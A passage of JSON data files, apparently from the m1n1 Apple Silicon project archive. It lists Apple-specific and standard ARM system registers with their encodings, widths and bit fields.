"CYC_OVRD_EL1", "fullname": "Cyclone Override", "enc": [3, 5, 15, 5, 0 ], "width": 64}, {"index": 0, "name": "ACC_OVRD_EL1", "fullname": "Apple Core Cluster Override", "enc": [3, 5, 15, 6, 0 ], "width": 64}, {"index": 0, "name": "ACC_EBLK_OVRD_EL1", "fullname": "Apple Core Cluster E-Block Override", "enc": [3, 5, 15, 6, 1 ], "width": 64}, {"index": 0, "name": "MMU_ERR_STS_EL1", "fullname": "MMU Error Status", "enc": [3, 6, 15, 0, 0 ], "width": 64}, {"index": 0, "name": "AFSR1_GL1", "fullname": "Auxiliary Fault Status Register 1 (GL1)", "enc": [3, 6, 15, 0, 1 ], "width": 64}, {"index": 0, "name": "AFSR1_GL2", "fullname": "Auxiliary Fault Status Register 1 (GL2)", "enc": [3, 6, 15, 0, 2 ], "width": 64}, {"index": 0, "name": "AFSR1_GL12", "fullname": "Auxiliary Fault Status Register 1 (GL12)", "enc": [3, 6, 15, 0, 3 ], "width": 64}, {"index": 0, "name": "SPRR_CONFIG_EL1", "fullname": "SPRR Configuration Register (EL1)", "enc": [3, 6, 15, 1, 0 ], "width": 64, "fieldsets": [{"fields": [ {"name": "EN", "msb": 0, "lsb": 0}, {"name": "LOCK_CONFIG", "msb": 1, "lsb": 1}, {"name": "LOCK_PERM", "msb": 4, "lsb": 4}, {"name": "LOCK_KERNEL_PERM", "msb": 5, "lsb": 5} ]}]}, {"index": 0, "name": "GXF_CONFIG_EL1", "fullname": "GXF Configuration Register (EL1)", "enc": [3, 6, 15, 1, 2 ], "width": 64, "fieldsets": [{"fields": [ {"name": "EN", "msb": 0, "lsb": 0} ]}]}, {"index": 0, "name": "SPRR_AMRANGE_EL1", "fullname": "SPRR AM Range (EL1)", "enc": [3, 6, 15, 1, 3 ], "width": 64}, {"index": 0, "name": "GXF_CONFIG_EL2", "fullname": "GXF Configuration Register (EL2)", "enc": [3, 6, 15, 1, 4 ], "width": 64}, {"index": 0, "name": "SPRR_UPERM_EL0", "fullname": "SPRR User Permission Configuration Register (EL0)", "enc": [3, 6, 15, 1, 5 ], "width": 64}, {"index": 0, "name": "SPRR_PPERM_EL1", "fullname": "SPRR Kernel Permission Configuration Register (EL1)", "enc": [3, 6, 15, 1, 6 ], "width": 64}, {"index": 0, "name": "SPRR_PPERM_EL2", "fullname": "SPRR Kernel Permission Configuration Register (EL2)", "enc": [3, 6, 15, 1, 7 ], "width": 64}, {"index": 0, "name": "E_MMU_ERR_STS_EL1", "fullname": "MMU Error Status (E-Core)", "enc": [3, 6, 15, 2, 0 ], "width": 64}, {"index": 0, "name": "APGAKeyLo_EL12", "fullname": "Pointer Authentication Key A for Code Low (EL12)", "enc": [3, 6, 15, 2, 1 ], "width": 64}, {"index": 0, "name": "APGAKeyHi_EL12", "fullname": "Pointer Authentication Key A for Code High (EL12)", "enc": [3, 6, 15, 2, 2 ], "width": 64}, {"index": 0, "name": "KERNKEYLO_EL12", "fullname": "Pointer Authentication Kernel Key Low (EL12)", "enc": [3, 6, 15, 2, 3 ], "width": 64}, {"index": 0, "name": "KERNKEYHI_EL12", "fullname": "Pointer Authentication Kernel Key High (EL12)", "enc": [3, 6, 15, 2, 4 ], "width": 64}, {"index": 0, "name": "AFPCR_EL0", "fullname": "Apple Floating-Point Control Register", "enc": [3, 6, 15, 2, 5 ], "width": 64}, {"index": 0, "name": "AIDR2_EL1", "fullname": "Apple ID Register 2", "enc": [3, 6, 15, 2, 7 ], "width": 64}, {"index": 0, "name": "SPRR_UMPRR_EL1", "fullname": "SPRR User MPRR (EL1)", "enc": [3, 6, 15, 3, 0 ], "width": 32}, {"index": 0, "name": "SPRR_PMPRR_EL1", "fullname": "SPRR Kernel MPRR (EL1)", "enc": [3, 6, 15, 3, 1 ], "width": 32}, {"index": 0, "name": "SPRR_PMPRR_EL2", "fullname": "SPRR Kernel MPRR (EL2)", "enc": [3, 6, 15, 3, 2 ], "width": 32}, {"index": 0, "name": "SPRR_UPERM_SH1_EL1", "fullname": "SPRR User Permission SH1 (EL1)", "enc": [3, 6, 15, 3, 3 ], "width": 32}, {"index": 0, "name": "SPRR_UPERM_SH2_EL1", "fullname": "SPRR User Permission SH2 (EL1)", "enc": [3, 6, 15, 3, 4 ], "width": 32}, {"index": 0, "name": "SPRR_UPERM_SH3_EL1", "fullname": "SPRR User Permission SH3 (EL1)", "enc": [3, 6, 15, 3, 5 ], "width": 32}, {"index": 0, "name": "SPRR_PPERM_SH1_EL1", "fullname": "SPRR Kernel Permission SH1 (EL1)", "enc": [3, 6, 15, 4, 2 ], "width": 32}, {"index": 0, "name": "SPRR_PPERM_SH2_EL1", "fullname": "SPRR Kernel Permission SH2 (EL1)", "enc": [3, 6, 15, 4, 3 ], "width": 32}, {"index": 0, "name": "SPRR_PPERM_SH3_EL1", "fullname": "SPRR Kernel Permission SH3 (EL1)", "enc": [3, 6, 15, 4, 4 ], "width": 32}, {"index": 0, "name": "SPRR_PPERM_SH1_EL2", "fullname": "SPRR Kernel Permission SH1 (EL2)", "enc": [3, 6, 15, 5, 1 ], "width": 32}, {"index": 0, "name": "SPRR_PPERM_SH2_EL2", "fullname": "SPRR Kernel Permission SH2 (EL2)", "enc": [3, 6, 15, 5, 2 ], "width": 32}, {"index": 0, "name": "SPRR_PPERM_SH3_EL2", "fullname": "SPRR Kernel Permission SH3 (EL2)", "enc": [3, 6, 15, 5, 3 ], "width": 32}, {"index": 0, "name": "SPRR_PMPRR_EL12", "fullname": "SPRR Kernel MPRR (EL12)", "enc": [3, 6, 15, 6, 0 ], "width": 32}, {"index": 0, "name": "SPRR_PPERM_SH1_EL12", "fullname": "SPRR Kernel Permission SH1 (EL12)", "enc": [3, 6, 15, 6, 1 ], "width": 32}, {"index": 0, "name": "SPRR_PPERM_SH2_EL12", "fullname": "SPRR Kernel Permission SH2 (EL12)", "enc": [3, 6, 15, 6, 2 ], "width": 32}, {"index": 0, "name": "SPRR_PPERM_SH3_EL12", "fullname": "SPRR Kernel Permission SH3 (EL12)", "enc": [3, 6, 15, 6, 3 ], "width": 32}, {"index": 0, "name": "APIAKeyLo_EL12", "fullname": "Pointer Authentication Key A for Instruction Low (EL12)", "enc": [3, 6, 15, 7, 0 ], "width": 64}, {"index": 0, "name": "APIAKeyHi_EL12", "fullname": "Pointer Authentication Key A for Instruction High (EL12)", "enc": [3, 6, 15, 7, 1 ], "width": 64}, {"index": 0, "name": "APIBKeyLo_EL12", "fullname": "Pointer Authentication Key A for Instruction Low (EL12)", "enc": [3, 6, 15, 7, 2 ], "width": 64}, {"index": 0, "name": "APIBKeyHi_EL12", "fullname": "Pointer Authentication Key A for Instruction High (EL12)", "enc": [3, 6, 15, 7, 3 ], "width": 64}, {"index": 0, "name": "APDAKeyLo_EL12", "fullname": "Pointer Authentication Key A for Data Low (EL12)", "enc": [3, 6, 15, 7, 4 ], "width": 64}, {"index": 0, "name": "APDAKeyHi_EL12", "fullname": "Pointer Authentication Key A for Data High (EL12)", "enc": [3, 6, 15, 7, 5 ], "width": 64}, {"index": 0, "name": "APDBKeyLo_EL12", "fullname": "Pointer Authentication Key A for Data Low (EL12)", "enc": [3, 6, 15, 7, 6 ], "width": 64}, {"index": 0, "name": "APDBKeyHi_EL12", "fullname": "Pointer Authentication Key A for Data High (EL12)", "enc": [3, 6, 15, 7, 7 ], "width": 64}, {"index": 0, "name": "GXF_STATUS_EL1", "fullname": "GXF Status Register (CurrentG)", "enc": [3, 6, 15, 8, 0 ], "width": 64, "fieldsets": [{"fields": [ {"name": "GUARDED", "msb": 0, "lsb": 0} ]}]}, {"index": 0, "name": "GXF_ENTRY_EL1", "fullname": "GXF genter Entry Vector Register (EL1)", "enc": [3, 6, 15, 8, 1 ], "width": 64}, {"index": 0, "name": "GXF_PABENTRY_EL1", "fullname": "GXF Abort Vector Register (EL1)", "enc": [3, 6, 15, 8, 2 ], "width": 64}, {"index": 0, "name": "ASPSR_EL1", "fullname": "ASPSR (EL1)", "enc": [3, 6, 15, 8, 3 ], "width": 64}, {"index": 0, "name": "VBAR_GL12", "fullname": "Vector Base Address Register (GL12)", "enc": [3, 6, 15, 9, 2 ], "width": 64}, {"index": 0, "name": "SPSR_GL12", "fullname": "Saved Program Status Register (GL12)", "enc": [3, 6, 15, 9, 3 ], "width": 64}, {"index": 0, "name": "ASPSR_GL12", "fullname": "ASPSR (GL12)", "enc": [3, 6, 15, 9, 4 ], "width": 64}, {"index": 0, "name": "ESR_GL12", "fullname": "Exception Syndrome Register (GL12)", "enc": [3, 6, 15, 9, 5 ], "width": 64}, {"index": 0, "name": "ELR_GL12", "fullname": "Exception Link Register (GL12)", "enc": [3, 6, 15, 9, 6 ], "width": 64}, {"index": 0, "name": "FAR_GL12", "fullname": "Fault Address Register (GL12)", "enc": [3, 6, 15, 9, 7 ], "width": 64}, {"index": 0, "name": "SP_GL12", "fullname": "Stack Pointer Register (GL12)", "enc": [3, 6, 15, 10, 0 ], "width": 64}, {"index": 0, "name": "TPIDR_GL1", "fullname": "Software Thread ID Register (GL1)", "enc": [3, 6, 15, 10, 1 ], "width": 64}, {"index": 0, "name": "VBAR_GL1", "fullname": "Vector Base Address Register (GL1)", "enc": [3, 6, 15, 10, 2 ], "width": 64}, {"index": 0, "name": "SPSR_GL1", "fullname": "Saved Program Status Register (GL1)", "enc": [3, 6, 15, 10, 3 ], "width": 64}, {"index": 0, "name": "ASPSR_GL1", "fullname": "ASPSR (GL1)", "enc": [3, 6, 15, 10, 4 ], "width": 64}, {"index": 0, "name": "ESR_GL1", "fullname": "Exception Syndrome Register (GL1)", "enc": [3, 6, 15, 10, 5 ], "width": 64}, {"index": 0, "name": "ELR_GL1", "fullname": "Exception Link Register (GL1)", "enc": [3, 6, 15, 10, 6 ], "width": 64}, {"index": 0, "name": "FAR_GL1", "fullname": "Fault Address Register (GL1)", "enc": [3, 6, 15, 10, 7 ], "width": 64}, {"index": 0, "name": "TPIDR_GL2", "fullname": "Software Thread ID Register (GL2)", "enc": [3, 6, 15, 11, 1 ], "width": 64}, {"index": 0, "name": "VBAR_GL2", "fullname": "Vector Base Address Register (GL2)", "enc": [3, 6, 15, 11, 2 ], "width": 64}, {"index": 0, "name": "SPSR_GL2", "fullname": "Saved Program Status Register (GL2)", "enc": [3, 6, 15, 11, 3 ], "width": 64}, {"index": 0, "name": "ASPSR_GL2", "fullname": "ASPSR (GL2)", "enc": [3, 6, 15, 11, 4 ], "width": 64}, {"index": 0, "name": "ESR_GL2", "fullname": "Exception Syndrome Register (GL2)", "enc": [3, 6, 15, 11, 5 ], "width": 64}, {"index": 0, "name": "ELR_GL2", "fullname": "Exception Link Register (GL2)", "enc": [3, 6, 15, 11, 6 ], "width": 64}, {"index": 0, "name": "FAR_GL2", "fullname": "Fault Address Register (GL2)", "enc": [3, 6, 15, 11, 7 ], "width": 64}, {"index": 0, "name": "GXF_ENTRY_EL2", "fullname": "GXF genter Entry Vector Register (EL2)", "enc": [3, 6, 15, 12, 0 ], "width": 64}, {"index": 0, "name": "GXF_PABENTRY_EL2", "fullname": "GXF Abort Vector Register (EL2)", "enc": [3, 6, 15, 12, 1 ], "width": 64}, {"index": 0, "name": "APCTL_EL2", "fullname": "Pointer Authentication Control (EL2)", "enc": [3, 6, 15, 12, 2 ], "width": 64}, {"index": 0, "name": "APSTS_EL2_MAYBE", "fullname": "Pointer Authentication Status (EL2, maybe)", "enc": [3, 6, 15, 12, 3 ], "width": 64}, {"index": 0, "name": "APSTS_EL1", "fullname": "Pointer Authentication Status", "enc": [3, 6, 15, 12, 4 ], "width": 64}, {"index": 0, "name": "SPRR_CONFIG_EL2", "fullname": "SPRR Configuration Register (EL2)", "enc": [3, 6, 15, 14, 2 ], "width": 64}, {"index": 0, "name": "SPRR_AMRANGE_EL2", "fullname": "SPRR AM Range (EL2)", "enc": [3, 6, 15, 14, 3 ], "width": 64}, {"index": 0, "name": "VMKEYLO_EL2", "fullname": "Pointer Authentication VM Machine Key Low", "enc": [3, 6, 15, 14, 4 ], "width": 64}, {"index": 0, "name": "VMKEYHI_EL2", "fullname": "Pointer Authentication VM Machine Key High", "enc": [3, 6, 15, 14, 5 ], "width": 64}, {"index": 0, "name": "ACTLR_EL12", "fullname": "Auxiliary Control Register (EL12)", "enc": [3, 6, 15, 14, 6 ], "width": 64}, {"index": 0, "name": "APSTS_EL12", "fullname": "Pointer Authentication Status (EL12)", "enc": [3, 6, 15, 14, 7 ], "width": 64}, {"index": 0, "name": "APCTL_EL12", "fullname": "Pointer Authentication Control (EL12)", "enc": [3, 6, 15, 15, 0 ], "width": 64}, {"index": 0, "name": "GXF_CONFIG_EL12", "fullname": "GXF Configuration Register (EL12)", "enc": [3, 6, 15, 15, 1 ], "width": 64}, {"index": 0, "name": "GXF_ENTRY_EL12", "fullname": "GXF genter Entry Vector Register (EL12)", "enc": [3, 6, 15, 15, 2 ], "width": 64}, {"index": 0, "name": "GXF_PABENTRY_EL12", "fullname": "GXF Abort Vector Register (EL12)", "enc": [3, 6, 15, 15, 3 ], "width": 64}, {"index": 0, "name": "SPRR_CONFIG_EL12", "fullname": "SPRR Configuration Register (EL12)", "enc": [3, 6, 15, 15, 4 ], "width": 64}, {"index": 0, "name": "SPRR_AMRANGE_EL12", "fullname": "SPRR AM Range (EL12)", "enc": [3, 6, 15, 15, 5 ], "width": 64}, {"index": 0, "name": "SPRR_PPERM_EL12", "fullname": "SPRR Permission Configuration Register (EL12)", "enc": [3, 6, 15, 15, 7 ], "width": 64}, {"index": 0, "name": "UPMCR0_EL1", "fullname": "Uncore Performance Monitor Control Register 0", "enc": [3, 7, 15, 0, 4 ], "width": 64}, {"index": 0, "name": "UPMESR0_EL1", "fullname": "Uncore Performance Monitor Event Selection Register 0", "enc": [3, 7, 15, 1, 4 ], "width": 64}, {"index": 0, "name": "UPMECM0_EL1", "fullname": "Uncore Performance Monitor Event Core Mask 0", "enc": [3, 7, 15, 3, 4 ], "width": 64}, {"index": 0, "name": "UPMECM1_EL1", "fullname": "Uncore Performance Monitor Event Core Mask 1", "enc": [3, 7, 15, 4, 4 ], "width": 64}, {"index": 0, "name": "UPMPCM_EL1", "fullname": "Uncore Performance Monitor PMI Core Mask", "enc": [3, 7, 15, 5, 4 ], "width": 64}, {"index": 0, "name": "UPMSR_EL1", "fullname": "Uncore Performance Monitor Status Register", "enc": [3, 7, 15, 6, 4 ], "width": 64}, {"index": 0, "name": "UPMECM2_EL1", "fullname": "Uncore Performance Monitor Event Core Mask 2", "enc": [3, 7, 15, 8, 5 ], "width": 64}, {"index": 0, "name": "UPMECM3_EL1", "fullname": "Uncore Performance Monitor Event Core Mask 3", "enc": [3, 7, 15, 9, 5 ], "width": 64}, {"index": 0, "name": "UPMESR1_EL1", "fullname": "Uncore Performance Monitor Event Selection Register 1", "enc": [3, 7, 15, 11, 5 ], "width": 64}, {"index": 0, "name": "UPMC0_EL1", "fullname": "Uncore Performance Monitor Counter 0", "enc": [3, 7, 15, 7, 4 ], "width": 64}, {"index": 0, "name": "UPMC1_EL1", "fullname": "Uncore Performance Monitor Counter 1", "enc": [3, 7, 15, 8, 4 ], "width": 64}, {"index": 0, "name": "UPMC2_EL1", "fullname": "Uncore Performance Monitor Counter 2", "enc": [3, 7, 15, 9, 4 ], "width": 64}, {"index": 0, "name": "UPMC3_EL1", "fullname": "Uncore Performance Monitor Counter 3", "enc": [3, 7, 15, 10, 4 ], "width": 64}, {"index": 0, "name": "UPMC4_EL1", "fullname": "Uncore Performance Monitor Counter 4", "enc": [3, 7, 15, 11, 4 ], "width": 64}, {"index": 0, "name": "UPMC5_EL1", "fullname": "Uncore Performance Monitor Counter 5", "enc": [3, 7, 15, 12, 4 ], "width": 64}, {"index": 0, "name": "UPMC6_EL1", "fullname": "Uncore Performance Monitor Counter 6", "enc": [3, 7, 15, 13, 4 ], "width": 64}, {"index": 0, "name": "UPMC7_EL1", "fullname": "Uncore Performance Monitor Counter 7", "enc": [3, 7, 15, 14, 4 ], "width": 64}, {"index": 0, "name": "UPMC8_EL1", "fullname": "Uncore Performance Monitor Counter 8", "enc": [3, 7, 15, 0, 5 ], "width": 64}, {"index": 0, "name": "UPMC9_EL1", "fullname": "Uncore Performance Monitor Counter 9", "enc": [3, 7, 15, 1, 5 ], "width": 64}, {"index": 0, "name": "UPMC10_EL1", "fullname": "Uncore Performance Monitor Counter 10", "enc": [3, 7, 15, 2, 5 ], "width": 64}, {"index": 0, "name": "UPMC11_EL1", "fullname": "Uncore Performance Monitor Counter 11", "enc": [3, 7, 15, 3, 5 ], "width": 64}, {"index": 0, "name": "UPMC12_EL1", "fullname": "Uncore Performance Monitor Counter 12", "enc": [3, 7, 15, 4, 5 ], "width": 64}, {"index": 0, "name": "UPMC13_EL1", "fullname": "Uncore Performance Monitor Counter 13", "enc": [3, 7, 15, 5, 5 ], "width": 64}, {"index": 0, "name": "UPMC14_EL1", "fullname": "Uncore Performance Monitor Counter 14", "enc": [3, 7, 15, 6, 5 ], "width": 64}, {"index": 0, "name": "UPMC15_EL1", "fullname": "Uncore Performance Monitor Counter 15", "enc": [3, 7, 15, 7, 5 ], "width": 64}, {"index": 0, "name": "HACR_EL2", "fullname": "Hypervisor Auxiliary Control Register", "enc": [3, 4, 1, 1, 7 ], "width": 64, "fieldsets": [{"fields": [ {"name": "TRAP_CPU_EXT", "msb": 0, "lsb": 0}, {"name": "TRAP_AIDR", "msb": 4, "lsb": 4}, {"name": "TRAP_AMX", "msb": 10, "lsb": 10}, {"name": "TRAP_SPRR", "msb": 11, "lsb": 11}, {"name": "TRAP_GXF", "msb": 13, "lsb": 13}, {"name": "TRAP_CTRR", "msb": 14, "lsb": 14}, {"name": "TRAP_IPI", "msb": 16, "lsb": 16}, {"name": "TRAP_s3_4_c15_c5z6_x", "msb": 18, "lsb": 18}, {"name": "TRAP_s3_4_c15_c0z12_5", "msb": 19, "lsb": 19}, {"name": "GIC_CNTV", "msb": 20, "lsb": 20}, {"name": "TRAP_s3_4_c15_c10_4", "msb": 25, "lsb": 25}, {"name": "TRAP_SERROR_INFO", "msb": 48, "lsb": 48}, {"name": "TRAP_EHID", "msb": 49, "lsb": 49}, {"name": "TRAP_HID", "msb": 50, "lsb": 50}, {"name": "TRAP_s3_0_c15_c12_1z2", "msb": 51, "lsb": 51}, {"name": "TRAP_ACC", "msb": 52, "lsb": 52}, {"name": "TRAP_PMUV3", "msb": 56, "lsb": 56}, {"name": "TRAP_PM", "msb": 57, "lsb": 57}, {"name": "TRAP_UPM", "msb": 58, "lsb": 58}, {"name": "TRAP_s3_1z7_c15_cx_3", "msb": 59, "lsb": 59} ]}]} ] m1n1-1.4.11/tools/arm_regs.json000066400000000000000000012317471453754430200162320ustar00rootroot00000000000000[{"index": 0, "name": "ACCDATA_EL1", "fullname": "Accelerator Data", "enc": [3, 0, 13, 0, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ACCDATA", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ACTLR_EL1", "fullname": "Auxiliary Control Register (EL1)", "enc": [3, 0, 1, 0, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "ACTLR_EL2", "fullname": "Auxiliary Control Register (EL2)", "enc": [3, 4, 1, 0, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "ACTLR_EL3", "fullname": "Auxiliary Control Register (EL3)", "enc": [3, 6, 1, 0, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AFSR0_EL1", "fullname": "Auxiliary Fault Status Register 0 (EL1)", "enc": [3, 0, 5, 1, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AFSR0_EL12", "fullname": "Auxiliary Fault Status Register 0 (EL1)", "enc": [3, 5, 5, 1, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AFSR0_EL1", "fullname": "Auxiliary Fault Status Register 0 (EL2)", "enc": [3, 0, 5, 1, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AFSR0_EL2", "fullname": "Auxiliary Fault Status Register 0 (EL2)", "enc": [3, 4, 5, 1, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AFSR0_EL3", "fullname": "Auxiliary Fault Status Register 0 (EL3)", "enc": [3, 6, 5, 1, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AFSR1_EL1", "fullname": "Auxiliary Fault Status Register 1 (EL1)", "enc": [3, 0, 5, 1, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AFSR1_EL12", "fullname": "Auxiliary Fault Status Register 1 (EL1)", "enc": [3, 5, 5, 1, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AFSR1_EL1", "fullname": "Auxiliary Fault Status Register 1 (EL2)", "enc": [3, 0, 5, 1, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AFSR1_EL2", "fullname": "Auxiliary Fault Status Register 1 (EL2)", "enc": [3, 4, 5, 1, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AFSR1_EL3", "fullname": "Auxiliary Fault Status Register 1 (EL3)", "enc": [3, 6, 5, 1, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AIDR_EL1", "fullname": "Auxiliary ID Register", "enc": [3, 1, 0, 0, 7], "accessors": ["MRS"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AMAIR_EL1", "fullname": "Auxiliary Memory Attribute Indirection Register (EL1)", "enc": [3, 0, 10, 3, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AMAIR_EL12", "fullname": "Auxiliary Memory Attribute Indirection Register (EL1)", "enc": [3, 5, 10, 3, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AMAIR_EL1", "fullname": "Auxiliary Memory Attribute Indirection Register (EL2)", "enc": [3, 0, 10, 3, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AMAIR_EL2", "fullname": "Auxiliary Memory Attribute Indirection Register (EL2)", "enc": [3, 4, 10, 3, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AMAIR_EL3", "fullname": "Auxiliary Memory Attribute Indirection Register (EL3)", "enc": [3, 6, 10, 3, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AMCFGR_EL0", "fullname": "Activity Monitors Configuration Register", "enc": [3, 3, 13, 2, 1], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "NCG", "msb": 31, "lsb": 28}, {"name": "HDBG", "msb": 24, "lsb": 24}, {"name": "SIZE", "msb": 13, "lsb": 8}, {"name": "N", "msb": 7, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "AMCG1IDR_EL0", "fullname": "Activity Monitors Counter Group 1 Identification Register", "enc": [3, 3, 13, 2, 6], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "AMEVCNTOFF1_EL2", "msb": 31, "lsb": 16}, {"name": "AMEVCNTR1_EL0", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "AMCGCR_EL0", "fullname": "Activity Monitors Counter Group Configuration Register", "enc": [3, 3, 13, 2, 2], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "CG1NC", "msb": 15, "lsb": 8}, {"name": "CG0NC", "msb": 7, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "AMCNTENCLR0_EL0", "fullname": "Activity Monitors Count Enable Clear Register 0", "enc": [3, 3, 13, 2, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "AMCNTENCLR1_EL0", "fullname": "Activity Monitors Count Enable Clear Register 1", "enc": [3, 3, 13, 3, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "AMCNTENSET0_EL0", "fullname": "Activity Monitors Count Enable Set Register 0", "enc": [3, 3, 13, 2, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "AMCNTENSET1_EL0", "fullname": "Activity Monitors Count Enable Set Register 1", "enc": [3, 3, 13, 3, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "AMCR_EL0", "fullname": "Activity Monitors Control Register", "enc": [3, 3, 13, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "CG1RZ", "msb": 17, "lsb": 17}, {"name": "HDBG", "msb": 10, "lsb": 10}]}], "width": 64}, {"index": 0, "name": "AMEVCNTR00_EL0", "fullname": "Activity Monitors Event Counter Registers 0", "enc": [3, 3, 13, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 1, "name": "AMEVCNTR01_EL0", "fullname": "Activity Monitors Event Counter Registers 0", "enc": [3, 3, 13, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 2, "name": "AMEVCNTR02_EL0", "fullname": "Activity Monitors Event Counter Registers 0", "enc": [3, 3, 13, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 3, "name": "AMEVCNTR03_EL0", "fullname": "Activity Monitors Event Counter Registers 0", "enc": [3, 3, 13, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 4, "name": "AMEVCNTR04_EL0", "fullname": "Activity Monitors Event Counter Registers 0", "enc": [3, 3, 13, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 5, "name": "AMEVCNTR05_EL0", "fullname": "Activity Monitors Event Counter Registers 0", "enc": [3, 3, 13, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 6, "name": "AMEVCNTR06_EL0", "fullname": "Activity Monitors Event Counter Registers 0", "enc": [3, 3, 13, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 7, "name": "AMEVCNTR07_EL0", "fullname": "Activity Monitors Event Counter Registers 0", "enc": [3, 3, 13, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 8, "name": "AMEVCNTR08_EL0", "fullname": "Activity Monitors Event Counter Registers 0", "enc": [3, 3, 13, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 9, "name": "AMEVCNTR09_EL0", "fullname": "Activity Monitors Event Counter Registers 0", "enc": [3, 3, 13, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 10, "name": "AMEVCNTR010_EL0", "fullname": "Activity Monitors Event Counter Registers 0", "enc": [3, 3, 13, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 11, "name": "AMEVCNTR011_EL0", "fullname": "Activity Monitors Event Counter Registers 0", "enc": [3, 3, 13, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 12, "name": "AMEVCNTR012_EL0", "fullname": "Activity Monitors Event Counter Registers 0", "enc": [3, 3, 13, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 13, "name": "AMEVCNTR013_EL0", "fullname": "Activity Monitors Event Counter Registers 0", "enc": [3, 3, 13, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 14, "name": "AMEVCNTR014_EL0", "fullname": "Activity Monitors Event Counter Registers 0", "enc": [3, 3, 13, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 15, "name": "AMEVCNTR015_EL0", "fullname": "Activity Monitors Event Counter Registers 0", "enc": [3, 3, 13, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "AMEVCNTR10_EL0", "fullname": "Activity Monitors Event Counter Registers 1", "enc": [3, 3, 13, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 1, "name": "AMEVCNTR11_EL0", "fullname": "Activity Monitors Event Counter Registers 1", "enc": [3, 3, 13, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 2, "name": "AMEVCNTR12_EL0", "fullname": "Activity Monitors Event Counter Registers 1", "enc": [3, 3, 13, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 3, "name": "AMEVCNTR13_EL0", "fullname": "Activity Monitors Event Counter Registers 1", "enc": [3, 3, 13, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 4, "name": 